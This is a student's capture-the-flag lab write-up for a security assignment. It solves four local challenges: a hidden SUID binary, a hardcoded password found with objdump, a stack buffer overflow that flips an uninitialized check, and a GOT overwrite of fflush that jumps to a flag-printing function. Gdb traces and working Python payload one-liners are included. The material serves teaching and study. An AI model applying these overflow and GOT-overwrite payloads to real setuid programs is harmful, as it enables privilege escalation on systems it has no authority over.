Assignment3

1. Question1: **Hidden**

Flag: flag{gDR5TVkUyHBGtcwE}

Main command: find / -user flag1 2>&1 | grep -v “Permission denied” | grep -v “No such file or directory”

Step1. Clue

The clue of this challenge is “Instructions: Locate and run a file owned by user flag1”

When I logged into the system, I found there are two files, flag1 and readme. I read the file, readme using cat command as following and it showed the clue as well.

```
q1@box:~$ ls -l
total 8
-r--------    1 flag1    q1              23 Feb 10 13:19 flag1
-rw-r--r--    1 root     root            91 Feb 12  2021 readme
q1@box:~$ cat readme
There is a file owned by the user flag1 somewhere on this machine. Run it to get the flag.
```

As it says, I tried to find a file owned by the user flag1 with command “**find / -user flag1**”. However, it was difficult to find because there were a lot of “Permission denied”, “No such file or directory”. So I added options to the command to see more specific results. And the command is like;

find / -user flag1 2>&1 | grep -v “Permission denied” | grep -v “No such file or directory”

Step2. Check if files are executable or readable.

Then, I had the list of three files as below.

```
q1@box:~$ find / -user flag1 2>&1 | grep -v "Permission denied" | grep -v "No such file or directory"
/usr/bin/.../runme
/home/flag1
/home/q1/flag1
```

But /home/q1/flag1 is not executed due to permission

```
q1@box:~$ pwd
/home/q1
q1@box:~$ ls -l
total 8
-r--------    1 flag1    q1              23 Feb 10 13:19 flag1
-rw-r--r--    1 root     root            91 Feb 12  2021 readme
q1@box:~$ cd /home/flag1
q1@box:/home/flag1$ ls -l
total 4
-rw-r--r--    1 root     root            43 Feb 12  2021 flag
q1@box:/home/flag1$ cat flag
These aren't the droids you're looking for
```

The file, flag in /home/flag1 directory is not executed either but I could read the file. However, it says it is not the file I am looking for. So there is the only one file left, /usr/bin/…/runme.

When I tried to see the permission of /usr/bin/…/runme, I found there is SUID flag. Then I executed it and found the flag.

```
q1@box:/home/flag1$ ls -l /usr/bin/.../runme
-rwsr-x---    1 flag1    q1           15316 Feb 10 14:37 /usr/bin/.../runme
q1@box:/home/flag1$ /usr/bin/.../runme
flag{gDR5TVkUyHBGtcwE}
```

2. Question2: **Hardcode**

Flag: flag{H8egp5TUDrDZMrAm}

Step1. List files and check file permission

```
q2@box:~$ ls -l
total 20
-r--r-----    1 root     root            23 Feb 10 13:36 flag2
-rwsr-xr-x    1 root     root         15476 Feb 10 13:45 hardcode
```

The file, hardcode is readable and executable for all users, and setuid is set on the file as well.

Step2. Check inside hardcode file with the command, objdump -s -j .rodata ./hardcode

```
q2@box:~$ objdump -s -j .rodata ./hardcode

./hardcode:     file format elf32-i386

Contents of section .rodata:
 804a000 03000000 01000200 456e7465 72207468  ........Enter th
 804a010 65207061 7373776f 72642074 6f20636f  e password to co
 804a020 6e74696e 75653a20 00257300 4c6f6769  ntinue: .%s.Logi
 804a030 6e204f4b 21002f62 696e2f63 61742066  n OK!./bin/cat f
 804a040 6c616732 004c6f67 696e2046 61696c65  lag2.Login Faile
 804a050 6421006d 696e6563 72616674 00000000  d!.minecraft....
 804a060 4d617263 75732041 7572656c 69757320  Marcus Aurelius
 804a070 73616964 3a204f75 72206c69 66652069  said: Our life i
 804a080 73207768 6174206f 75722074 686f7567  s what our thoug
 804a090 68747320 6d616b65 2069742e 00707269  hts make it..pri
 804a0a0 6e636573 73006d79 70773132 33340000  ncess.mypw1234..
 804a0b0 54686520 73656372 6574206f 66206765  The secret of ge
 804a0c0 7474696e 67206168 65616420 69732067  tting ahead is g
 804a0d0 65747469 6e672073 74617274 6564202d  etting started -
 804a0e0 2d4d6172 6b205477 61696e00 77686174  -Mark Twain.what
 804a0f0 27732074 68697320 646f696e 67206865  's this doing he
 804a100 72653f00 714c396a 53306243 34755338  re?.qL9jS0bC4u58
 804a110 66583569 00                          fX5i.
```

In the contents, I find that /bin/cat flag2 is executed when I log in with the right password.

Also, I guessed there are some words which could be the password, mypw1234 and qL9jS0bC4uS8fX5i

Step3. Put the words that might be password

I put the words that I though might be password, mypw1234 and qL9jS0bC4uS8fX5i

```
q2@box:~$ ./hardcode
Enter the password to continue: mypw1234
Login Failed!
q2@box:~$ ./hardcode
Enter the password to continue: qL9jS0bC4uS8fX5i
Login OK!
flag{H8egp5TUDrDZMrAm}
```

Login is failed when I put the word, mypw1234. However, I had the flag when I put the word, qL9jS0bC4uS8fX5i

3. Question3: **Password**

Flag:

Main command: python -c "print '.'*192 + '\x01\x00\x00\x00' +'\x00\x00\x00\x00'" | ./password

Step1. Check file permission

```
q3@box:~$ ls -l
total 28
-r--r-----    1 root     root            23 Feb 10 13:21 flag3
-rwsr-xr-x    1 root     root         17872 Feb 10 14:20 password
-rw-r--r--    1 root     q3             390 Feb 10 14:20 password.c
```

The file, password is readable and executable for all users, and setuid is set on the file as well.

Step2. Check the code of the file, password.c

```
q3@box:~$ cat password.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void check(){

        int valid;
        int invalid;

        if(invalid || !valid){
                printf("Password invalid!\n");
        }
        else{
                printf("Password accepted!\n");
                system("/bin/cat flag3");
    }
}

void password(){

        char password[200];
        printf("Enter the password: ");
        scanf("%s", password);
}

int main(){

        password();
        check();
        return 0;
}
```

In the code, main() function executes two functions, password(), check(). Especially check() has system call with cat command to see flag3 when if sentence is false. The password function has 200bytes char type array as input and there is scanf() function without address of operator &.

First of all, I put character a*196 and b*4 to see the address, and find the address, 0xbfa6d878 ~ 0xbfa6d93f.

python -c "print '.'*192 + '\x01\x00\x00\x00' +'\x00\x00\x00\x00'" | ./password

```
(gdb) disas password
Dump of assembler code for function password:
   0x0804917a <+0>:     push   %ebp
   0x0804917b <+1>:     mov    %esp,%ebp
   0x0804917d <+3>:     sub    $0xd8,%esp
   0x08049183 <+9>:     sub    $0xc,%esp
   0x08049186 <+12>:    push   $0x804a03c
   0x0804918b <+17>:    call   0x8049030 <printf@plt>
   0x08049190 <+22>:    add    $0x10,%esp
   0x08049193 <+25>:    sub    $0x8,%esp
   0x08049196 <+28>:    lea    -0xd0(%ebp),%eax
   0x0804919c <+34>:    push   %eax
   0x0804919d <+35>:    push   $0x804a051
   0x080491a2 <+40>:    call   0x8049070 <__isoc99_scanf@plt>
   0x080491a7 <+45>:    add    $0x10,%esp
   0x080491aa <+48>:    nop
   0x080491ab <+49>:    leave
   0x080491ac <+50>:    ret
End of assembler dump.
(gdb) b *password+45
Breakpoint 1 at 0x80491a7: file password.c, line 23.
(gdb) run
Starting program: /home/q3/password
Enter the password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb

Breakpoint 1, 0x080491a7 in password () at password.c:23
23              scanf("%s", password);
(gdb) x/200x $ebp-0xd0
0xbfa6d878:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d888:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d898:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d8a8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d8b8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d8c8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d8d8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d8e8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d8f8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d908:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d918:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d928:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa6d938:     0x61616161      0x62626262      0xb7f41200      0x00000000
```

In addition, in check() function, I notice that 4bytes (0xbfa6d93c~0xbfa6d93f) are overlap as below.

```
(gdb) disas check
Dump of assembler code for function check:
   0x08049132 <+0>:     push   %ebp
   0x08049133 <+1>:     mov    %esp,%ebp
   0x08049135 <+3>:     sub    $0x18,%esp
   0x08049138 <+6>:     cmpl   $0x0,-0xc(%ebp)
   0x0804913c <+10>:    jne    0x8049144 <check+18>
   0x0804913e <+12>:    cmpl   $0x0,-0x10(%ebp)
   0x08049142 <+16>:    jne    0x8049156 <check+36>
   0x08049144 <+18>:    sub    $0xc,%esp
   0x08049147 <+21>:    push   $0x804a008
   0x0804914c <+26>:    call   0x8049040 <puts@plt>
   0x08049151 <+31>:    add    $0x10,%esp
   0x08049154 <+34>:    jmp    0x8049177 <check+69>
   0x08049156 <+36>:    sub    $0xc,%esp
   0x08049159 <+39>:    push   $0x804a01a
   0x0804915e <+44>:    call   0x8049040 <puts@plt>
   0x08049163 <+49>:    add    $0x10,%esp
   0x08049166 <+52>:    sub    $0xc,%esp
   0x08049169 <+55>:    push   $0x804a02d
   0x0804916e <+60>:    call   0x8049050 <system@plt>
   0x08049173 <+65>:    add    $0x10,%esp
   0x08049176 <+68>:    nop
   0x08049177 <+69>:    nop
   0x08049178 <+70>:    leave
   0x08049179 <+71>:    ret
End of assembler dump.
(gdb) x/x $ebp-0xc
0xbfa6d93c:     0x62626262
```

```
q3@box:~$ python -c "print '.'*192 + '\x01\x00\x00\x00' +'\x00\x00\x00\x00'" | ./password
Enter the password: Password accepted!
flag{A68D2PNCdJVhYP6u}
```

python -c "print '.'*192 + '\x01\x00\x00\x00' +'\x00\x00\x00\x00'" | ./password

4. Question4: **Username**

Flag: flag{963Zt6JCm8bSLnmq}

Main command: (python -c "print 'a'*16+'\x10\xc0\x04\x08'+'134517067'") | ./username

Step1. Check file permission

```
q4@box:~$ ls -l
total 28
-r--r-----    1 root     root            23 Feb 10 13:21 flag4
-rwsr-xr-x    1 root     root         18016 Feb 13  2021 username
-rw-r--r--    1 root     q4             345 Feb 13  2021 username.c
```

The file, username is readable and executable for all users, and setuid is set on the file as well.

Step2. Check the code of the file, username.c

```
q4@box:~$ cat username.c
#include <stdio.h>
#include <stdlib.h>

void impossible(){
        system("/bin/cat flag4");
}

void pin(){
        int pin;
        printf("Enter PIN: ");
        scanf("%d", pin);
        fflush(stdin);
        printf("Login Failed!\n");
}

void username(){
        char username[20];
        printf("Enter username: ");
        scanf("%20s", username);
}

int main(){

        username();
        pin();

        return 0;
}
```

In the code, main() function executes two functions, username(), pin(). Another function, impossible() has system call with cat command to see flag4. The username() function has 20bytes char type array as input and there is scanf() function without address of operator &. In particular, pin() function has fflush(). which has the indirection operator “*”. It means that it has the 4 bytes stored in memory at some address parts and then jump to that address.

First of all, I put character a*20 to see the address, and find the address, 0xbfa3fbcc ~ 0xbfa3fbdf.

```
(gdb) b *username+39
Breakpoint 1 at 0x80491cf: file username.c, line 19.
(gdb) run
Starting program: /home/q4/username
Enter username: aaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x080491cf in username () at username.c:19
19              scanf("%20s", username);
(gdb) x/20x $esp
0xbfa3fbb0:     0x0804a045      0xbfa3fbcc      0x00008000      0xb7e156d0
0xbfa3fbc0:     0xb7f55000      0x00000000      0x00c00000      0x61616161
0xbfa3fbd0:     0x61616161      0x61616161      0x61616161      0x61616161
0xbfa3fbe0:     0xb7f6a200      0x00000000      0xbfa3fbf8      0x080491e0
0xbfa3fbf0:     0x00000000      0xb7f51000      0xbfa3fc68      0xb7e21b57
```

In addition, in pin() function, I notice that 4bytes (0xbfa3fbdc~0xbfa3fbdf) are overlap as below. It is because local variables are only allocated when the function is called.

```
(gdb) disas pin
Dump of assembler code for function pin:
   0x0804915b <+0>:     push   %ebp
   0x0804915c <+1>:     mov    %esp,%ebp
   0x0804915e <+3>:     sub    $0x18,%esp
   0x08049161 <+6>:     sub    $0xc,%esp
   0x08049164 <+9>:     push   $0x804a017
   0x08049169 <+14>:    call   0x8049030 <printf@plt>
   0x0804916e <+19>:    add    $0x10,%esp
   0x08049171 <+22>:    sub    $0x8,%esp
   0x08049174 <+25>:    pushl  -0xc(%ebp)
   0x08049177 <+28>:    push   $0x804a023
   0x0804917c <+33>:    call   0x8049080 <__isoc99_scanf@plt>
   0x08049181 <+38>:    add    $0x10,%esp
   0x08049184 <+41>:    mov    0x804c040,%eax
   0x08049189 <+46>:    sub    $0xc,%esp
   0x0804918c <+49>:    push   %eax
   0x0804918d <+50>:    call   0x8049040 <fflush@plt>
   0x08049192 <+55>:    add    $0x10,%esp
   0x08049195 <+58>:    sub    $0xc,%esp
   0x08049198 <+61>:    push   $0x804a026
   0x0804919d <+66>:    call   0x8049050 <puts@plt>
   0x080491a2 <+71>:    add    $0x10,%esp
   0x080491a5 <+74>:    nop
   0x080491a6 <+75>:    leave
   0x080491a7 <+76>:    ret
End of assembler dump.
(gdb) x/x $ebp-0xc
0xbfc7c12c:     0x61616161
(gdb) x/i 0x8049040
   0x8049040 <fflush@plt>:      jmp    *0x804c010
```

So I willl use it as I can control the contents of pin at the time the pin() function is called.

Also I find the address with “x/i 0x8049040” to overwrite the contents and the address is 0x804c010.

I will use the address, 0x804c010 to put the address of the system call.

```
(gdb) disas impossible
Dump of assembler code for function impossible:
   0x08049142 <+0>:     push   %ebp
   0x08049143 <+1>:     mov    %esp,%ebp
   0x08049145 <+3>:     sub    $0x8,%esp
   0x08049148 <+6>:     sub    $0xc,%esp
   0x0804914b <+9>:     push   $0x804a008
   0x08049150 <+14>:    call   0x8049060 <system@plt>
   0x08049155 <+19>:    add    $0x10,%esp
   0x08049158 <+22>:    nop
   0x08049159 <+23>:    leave
   0x0804915a <+24>:    ret
End of assembler dump.
```

Additionally, in impossible() function, I find the address, 0x804914b that the next instruction would be the system call to print the flag.

In conclusion,

I use two addresses, 0x804c010 (address of fflush got) and 0x804914b (the beginning address of system call). However, scanf has decimal input (%d) in pin() function. So 0x804914b is converted to decimal, 134517067. The final command is as below capture.

```
q4@box:~$ (python -c "print 'a'*16+'\x10\xc0\x04\x08'+'134517067'") | ./username
flag{963Zt6JCm8bSLnmq}
```